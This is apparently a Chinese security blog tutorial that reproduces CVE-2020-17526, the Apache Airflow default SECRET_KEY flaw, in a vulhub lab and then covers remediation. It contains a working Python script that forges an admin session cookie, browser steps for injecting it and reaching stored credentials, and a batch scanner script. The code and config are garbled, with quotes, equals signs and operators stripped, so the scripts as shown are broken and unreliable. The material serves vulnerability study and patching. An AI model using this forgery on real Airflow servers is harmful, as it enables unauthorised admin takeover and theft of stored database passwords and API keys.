Apache Airflow CVE-2020-17526漏洞剖析：从默认密钥到权限绕开的实战复现与修复

1. 漏洞背景与核心原理剖析Apache Airflow 这个工具但凡做过数据流水线或者ETL调度的朋友应该都不陌生。它是一个用Python写的开源平台专门用来编排、调度和监控复杂的工作流。你可以把它想象成一个高级版的“定时任务管理器”但功能要强大得多能处理依赖关系、重试、监控告警等一系列复杂场景。正因为其强大和易用性它在很多公司的数据中台、自动化运维体系里都是核心组件。CVE-2020-17526 这个漏洞本质上是一个“默认配置不安全”引发的权限绕过问题。它的根源在于Airflow的Web UI基于Flask-AppBuilder框架在初始化时如果没有显式配置一个叫做SECRET_KEY的参数框架就会使用一个硬编码的默认值。这个SECRET_KEY是干什么的呢在Web应用中它相当于一把“总钥匙”用途非常关键会话Session签名用来加密和签名用户的登录会话Cookie防止会话被篡改。CSRF令牌生成生成和验证跨站请求伪造防护令牌。其他安全相关数据的签名。当攻击者知道了你这把“总钥匙”的具体内容他就能自己伪造出合法的会话Cookie或者计算出正确的CSRF令牌从而绕过登录认证直接以任意用户身份包括管理员进入系统。CVE-2020-17526 的默认密钥是temporary_key。是的你没看错就是这么简单直白的一个字符串。这意味着任何没有在配置中主动设置SECRET_KEY的Airflow实例其安全大门就等同于虚掩着。这个漏洞的危险性在于它的“静默性”。从外部看你的Airflow服务运行得好好的认证登录页面也正常但攻击者不需要爆破密码不需要找其他漏洞只需要一个简单的脚本就能直接获得最高权限。一旦进入攻击者可以查看所有DAG工作流定义、触发或停止任务、访问可能包含敏感信息的变量和连接配置甚至通过修改DAG代码在服务器上执行任意命令后果不堪设想。2. 漏洞环境搭建与复现准备为了彻底理解这个漏洞的利用条件和影响最好的方式就是亲手搭建一个存在漏洞的环境。这里我们使用vulhub这个非常方便的漏洞靶场集成项目。它把很多历史漏洞的环境做成了Docker Compose配置一键启动省去了我们四处找旧版本、处理依赖兼容的麻烦。首先确保你的实验环境已经安装了 Docker 和 Docker Compose。然后我们定位到 vulhub 中 Airflow 漏洞的目录。通常 vulhub 的项目结构很清晰我们找到对应路径cd vulhub/airflow/CVE-2020-17526查看一下目录下的docker-compose.yml文件这是理解环境构成的关键version: 2 services: airflow: image: vulhub/airflow:1.10.10 environment: - LOAD_EXn - EXECUTORLocal ports: - 8080:8080 command: webserver从配置可以看出vulhub 使用了一个定制的镜像vulhub/airflow:1.10.10它基于存在漏洞的 Apache Airflow 1.10.10 版本构建并且环境变量中没有设置AIRFLOW__WEBSERVER__SECRET_KEY这是配置SECRET_KEY的环境变量方式。这完美复现了漏洞存在的条件使用默认密钥。启动环境只需要一行命令docker-compose up -d等待片刻Docker会拉取镜像并启动容器。用docker-compose ps可以查看服务状态当显示为Up时就可以在浏览器中访问http://your-ip:8080了。你会看到Airflow的登录界面默认用户名和密码通常是airflow/airflow。我们先正常登录进去熟悉一下界面看看有哪些功能这有助于我们理解攻击者进入后能做什么。注意在实验环境中我们知晓默认凭证。但在真实漏洞利用中攻击者无需登录他是直接绕过认证的。我们登录只是为了方便对比观察。3. 漏洞利用链的深度拆解知道默认密钥是temporary_key后我们具体怎么利用呢核心是伪造一个有效的会话Cookie。Airflow的Web会话基于Flask的Flask-Login和Flask-AppBuilder其会话Cookie通常名为session。我们需要理解这个Cookie的生成格式。Flask的签名Cookie通常采用“序列化数据.签名”的格式。序列化数据是经过URL安全的Base64编码的会话字典签名则是基于SECRET_KEY和序列化数据通过HMAC算法生成的。在Python的itsdangerous库Flask所用中有一个TimedSerializer或URLSafeTimedSerializer类专门用于生成和验证这种带时间戳的签名Cookie。因此利用步骤可以拆解如下确定攻击参数我们需要知道Airflow实例中存在的用户ID。通常我们可以尝试常见的默认用户如1第一个创建的用户往往是超级管理员或者用户名airflow对应的ID。在Flask-AppBuilder中用户ID通常就是数据库中的主键ID。构造会话字典一个最简单的有效会话字典需要包含用户标识和 freshness 标记。对于 Flask-Login关键字段是_user_id。使用密钥进行签名利用itsdangerous库用默认密钥temporary_key对构造的字典进行签名和序列化生成最终的Cookie值。替换浏览器Cookie将生成的Cookie值通过浏览器开发者工具替换当前站点下的sessionCookie。刷新页面刷新Airflow页面如果漏洞存在且构造正确你将直接以目标用户身份登录无需密码。为了更直观地演示我写了一个简单的Python利用脚本。这个脚本的核心是模拟Flask应用生成Cookie的过程#!/usr/bin/env python3 Apache Airflow CVE-2020-17526 默认密钥权限绕过利用脚本 用于生成伪造的管理员会话Cookie。 import hashlib from itsdangerous import URLSafeTimedSerializer import sys def generate_exploit_cookie(user_id1, secret_keytemporary_key): 生成伪造的Airflow会话Cookie。 Args: user_id (str): 目标用户的ID默认为1通常是第一个管理员。 secret_key (str): Airflow实例的SECRET_KEY漏洞默认值为temporary_key。 Returns: str: 可用于替换的session cookie值。 # Flask-AppBuilder/Flask-Login 使用的会话数据结构 # _user_id 是核心字段标识登录用户。 # _fresh 标记会话是否为新鲜登录通常为False即可。 session_data { _user_id: user_id, _fresh: False } # 创建签名序列化器 # salt 参数通常为 cookie-session这是Flask默认的会话salt。 s URLSafeTimedSerializer( secret_keysecret_key, saltcookie-session, serializerNone, # 使用默认的 pickle 序列化这里我们直接传递字典 signer_kwargs{key_derivation: hmac, digest_method: hashlib.sha1} ) try: # 生成签名后的字符串即Cookie值 cookie_value s.dumps(session_data) return cookie_value except Exception as e: print(f[!] 生成Cookie时出错: {e}) return None if __name__ __main__: # 默认利用使用默认密钥和用户ID 1 cookie generate_exploit_cookie() if cookie: print([] 漏洞利用成功) print(f[] 生成的伪造 session cookie 为\n{cookie}) print(\n[*] 使用方法) print(1. 打开浏览器开发者工具 (F12)。) print(2. 进入 Application (或 Storage) - Cookies - http://target:8080) print(3. 找到名为 session 的cookie将其值替换为上面生成的值。) print(4. 刷新Airflow页面即可直接以管理员身份登录。) else: print([!] 利用失败。)运行这个脚本它会输出一个长长的字符串这就是我们伪造的Cookie。接下来进行实际操作验证。4. 手把手实战复现与权限验证现在我们进入最关键的实战环节。请严格按照以下步骤操作你会清晰地看到权限是如何被绕过的。第一步获取伪造Cookie在启动了vulhub环境的宿主机上运行上面的Python脚本。你会得到一个类似这样的字符串每次运行可能略有不同因为包含时间戳eyJfdXNlcl9pZCI6IjEiLCJfZnJlc2giOmZhbHNlfQ.Yp3zpQ.7XG9w8mN4LzqKjHpSdTQeV1abc0复制这个字符串。第二步清除浏览器状态打开一个无痕浏览窗口这很重要避免已有登录状态干扰访问http://your-vulhub-ip:8080。你应该看到Airflow的登录页面此时不要登录。第三步替换会话Cookie按下F12打开开发者工具切换到Application标签页在Chrome/Edge中Firefox中可能是Storage。在左侧找到Cookies并展开当前网站的地址 (http://your-vulhub-ip:8080)。在右侧的Cookie列表中你应该能看到一个名为session的Cookie。它的值可能为空或者是一个无效值。 双击sessionCookie的Value栏删除原有内容粘贴我们刚才生成的伪造Cookie字符串。然后按回车键确认。第四步见证绕过直接刷新整个Airflow页面或者点击浏览器地址栏按回车。神奇的事情发生了页面没有跳转到登录页而是直接进入了Airflow的主仪表盘DAGs列表页在右上角你会看到当前登录的用户显示为admin或airflow取决于默认用户配置。第五步验证权限为了证明这不是偶然我们进行一些高权限操作访问安全菜单点击顶部的Security菜单尝试进入Users、Roles或Permissions列表。如果能正常查看和编辑用户、角色信息说明我们拥有管理员权限。操作敏感配置点击Admin-Variables或Connections。这里通常存储着数据库密码、API密钥等敏感信息。我们可以查看、新增、删除这进一步证实了权限的完整性。触发DAG运行在DAGs列表页面找到一个工作流打开开关启用它并手动触发一次运行。如果成功说明我们完全掌控了工作流的调度。实操心得在实际测试中我遇到过因为浏览器缓存或Cookie作用域问题导致替换后不生效的情况。一个排查技巧是在替换Cookie后不要只是刷新最好关闭当前标签页然后重新打开浏览器无痕窗口再粘贴Cookie并访问。另外确保你替换的是对http://your-ip:8080这个根路径有效的Cookie而不是其他子路径的。通过以上步骤我们成功复现了CVE-2020-17526。整个过程没有输入任何密码仅仅依靠一个已知的默认密钥就完成了从匿名用户到系统管理员的权限跃迁。5. 漏洞根源与安全配置深度解析复现漏洞很有趣但更重要的是理解它为什么会产生以及如何从根本上修复和预防。这个漏洞给我们上了深刻的一课永远不要依赖默认的安全配置。根源分析 在 Apache Airflow 1.10.10 及之前版本的源码中Web服务器配置部分如果没有显式设置secret_keyFlask-AppBuilder 会回退到一个默认值。查看相关源码如airflow/config_templates/default_webserver_config.py或 Flask-AppBuilder 的默认初始化行为就能找到这个硬编码的temporary_key。这种设计初衷可能是为了方便快速启动和测试但却被错误地用在了生产环境配置的默认行为中。开发者和运维人员可能认为“只要设置了密码就安全了”却忽略了这把更底层的“钥匙”。安全修复方案 修复此漏洞的方法极其简单但必须执行为生产环境设置强SECRET_KEY这是强制要求。密钥必须足够长建议32个字符以上、足够随机使用密码学安全的随机数生成器生成并且严格保密。环境变量方式推荐在启动Airflow的环境变量中设置。export AIRFLOW__WEBSERVER__SECRET_KEY你的强随机密钥字符串配置文件方式在airflow.cfg中的[webserver]部分设置。[webserver] secret_key 你的强随机密钥字符串升级到已修复的版本Apache Airflow 在后续版本中修正了此问题。在 Airflow 1.10.11 以及 2.0.0 版本中如果未配置SECRET_KEY启动Web服务器时会直接抛出错误强制要求管理员进行配置。这是最根本的修复。ERROR: Secret key for the webserver has not been set. Please set the secret_key config in [webserver] section or export the AIRFLOW__WEBSERVER__SECRET_KEY environment variable.因此升级是消除此类隐患的最佳实践。纵深防御建议 仅仅修复这个漏洞点还不够我们应该建立更全面的安全观最小权限原则即使是在内网也不应为Airflow服务分配过高的系统权限。考虑使用非root用户运行Airflow worker和scheduler。网络隔离Airflow的Web UI8080端口不应直接暴露在公网。应通过VPN、跳板机或反向代理如Nginx进行访问控制并配置IP白名单、强制HTTPS。定期审计与依赖扫描使用像trivy、grype或 GitHub Dependabot 等工具定期扫描你的Airflow镜像或部署环境中的已知漏洞CVE。将安全更新纳入常规运维流程。安全的DAG管理警惕在DAG中硬编码密码或密钥。充分利用Airflow的Connections和Variables并确保其管理界面权限收紧或者与外部的密钥管理服务如HashiCorp Vault集成。6. 渗透测试视角下的漏洞挖掘与防御绕过从一个攻击者或安全审计人员的视角来看CVE-2020-17526 属于“默认凭据”类漏洞的变种。它的挖掘思路可以给我们一些启发用于发现类似问题信息收集阶段指纹识别通过访问/login或查看HTTP响应头中的Server字段识别出目标是Apache Airflow。进一步通过访问/api/experimental/version等接口或分析页面元素尝试确定其大版本号如1.10.x。配置探测尝试访问一些默认路径或接口如/admin、/health观察错误信息。虽然这个漏洞本身不通过错误信息泄露密钥但其他配置疏忽可能会。漏洞假设与验证建立假设发现目标是Airflow且版本较早 - 假设其可能使用默认配置 - 推测SECRET_KEY可能为temporary_key或空。工具化验证编写或使用现有工具如 metasploit 模块、 nuclei 模板、python脚本快速尝试使用默认密钥伪造Cookie。这个过程可以批量、自动化地对一批目标进行扫描。防御绕过思考 如果管理员修复了默认密钥但设置了弱密钥如airflow123、companyname2020攻击者仍然可以通过字典攻击或基于常见模式的猜测来破解。因此防御方需要设置强密钥。更进一步一些更严格的安全配置可以增加攻击难度设置SESSION_COOKIE_HTTPONLY和SECURE防止通过XSS攻击窃取Cookie并强制HTTPS传输。定期轮换SECRET_KEY虽然这会使所有现有登录会话失效但在高安全要求场景下定期轮换密钥是一种好习惯。轮换后即使旧的密钥不慎泄露攻击者也无法再利用其生成有效Cookie。自动化检测脚本示例 一个简单的检测脚本可以集成到扫描器中用于快速判断目标是否存在此漏洞import requests from itsdangerous import URLSafeTimedSerializer, BadSignature import hashlib def check_cve_2020_17526(target_url): 检测目标Airflow是否存在CVE-2020-17526漏洞。 Args: target_url (str): Airflow Web UI 地址如 http://192.168.1.100:8080 Returns: bool: 是否存在漏洞 str: 详细信息 default_key temporary_key session_cookie_name session # 1. 尝试使用默认密钥生成一个测试Cookie用户ID为1 s URLSafeTimedSerializer( secret_keydefault_key, saltcookie-session, signer_kwargs{key_derivation: hmac, digest_method: hashlib.sha1} ) test_cookie s.dumps({_user_id: 1, _fresh: False}) # 2. 发送一个携带伪造Cookie的请求到需要认证的接口 headers {Cookie: f{session_cookie_name}{test_cookie}} # 尝试访问一个需要权限的API例如获取DAG列表的接口 api_url f{target_url.rstrip(/)}/api/experimental/dags try: resp requests.get(api_url, headersheaders, timeout10, verifyFalse) # 如果返回200 OK且包含JSON数据说明认证通过 if resp.status_code 200 and application/json in resp.headers.get(Content-Type, ): return True, f目标 {target_url} 存在CVE-2020-17526漏洞默认密钥有效。 else: # 也可能返回403/401说明密钥无效或需要其他认证 return False, f目标 {target_url} 可能已修复该漏洞默认密钥无效。 except requests.exceptions.RequestException as e: return False, f检测请求失败: {e}这个脚本的核心思路是“主动验证”而不是被动探测。它直接使用漏洞逻辑去尝试结果非常准确。7. 从漏洞修复到安全开发生命周期SDLC的思考CVE-2020-17526 虽然原理简单但它暴露了一个在软件开发尤其是开源软件中常见的问题安全默认值的缺失。作为开发者和运维我们应该从中吸取教训并将其融入日常的安全实践中。对开发者的启示安全默认配置任何涉及安全性的配置项密钥、密码、权限在框架或库的默认设置中必须是随机生成的、唯一的或者在首次运行时强制要求用户设置。绝对禁止使用简单硬编码值作为生产环境的默认值。明确的启动警告如果检测到不安全配置如使用默认密钥应用应该在启动时输出明确的ERROR级别日志并阻止服务启动而不是仅仅给出一个WARNING。Airflow后续版本的修复正是采用了这一策略。文档强调在安装和配置文档的显著位置用醒目的方式如警告框说明安全配置的重要性及设置方法。对运维和架构师的启示配置即代码安全左移将像AIRFLOW__WEBSERVER__SECRET_KEY这样的敏感配置纳入你的配置管理如Ansible、Terraform或密钥管理服务Vault。在CI/CD流水线中部署前应有检查环节确保生产环境没有使用任何默认的或测试用的安全凭据。基线安全扫描在将第三方组件如Docker镜像引入生产环境前进行基线安全扫描。检查其默认配置、开放端口、运行用户等。可以使用docker inspect或专门的容器安全工具。漏洞管理流程建立对所用组件的CVE监控和应急响应流程。订阅安全邮件列表使用软件成分分析SCA工具。当出现类似CVE-2020-17526的漏洞时能快速评估影响、制定修复方案并实施。漏洞的变体与联想 这个漏洞的模式并不新鲜。它让我想起很多其他“默认密码”漏洞比如早期路由器、摄像头的admin/admin或者某些中间件、数据库的空口令。其背后的根本原因都是“为了方便而牺牲安全”。作为技术人员我们必须时刻保持警惕养成“零信任默认配置”的习惯。在搭建任何新服务时第一个问题就应该是“它的安全配置默认是什么我需要修改哪些”最后修复这个漏洞本身只需要一行配置。但更重要的是通过分析和复现它我们强化了对Web会话安全机制的理解练习了从信息收集到漏洞验证的完整渗透测试思路并最终将教训转化为提升整体安全水位的最佳实践。安全是一个持续的过程每一个被认真分析和修复的漏洞都是让系统变得更坚固的一块基石。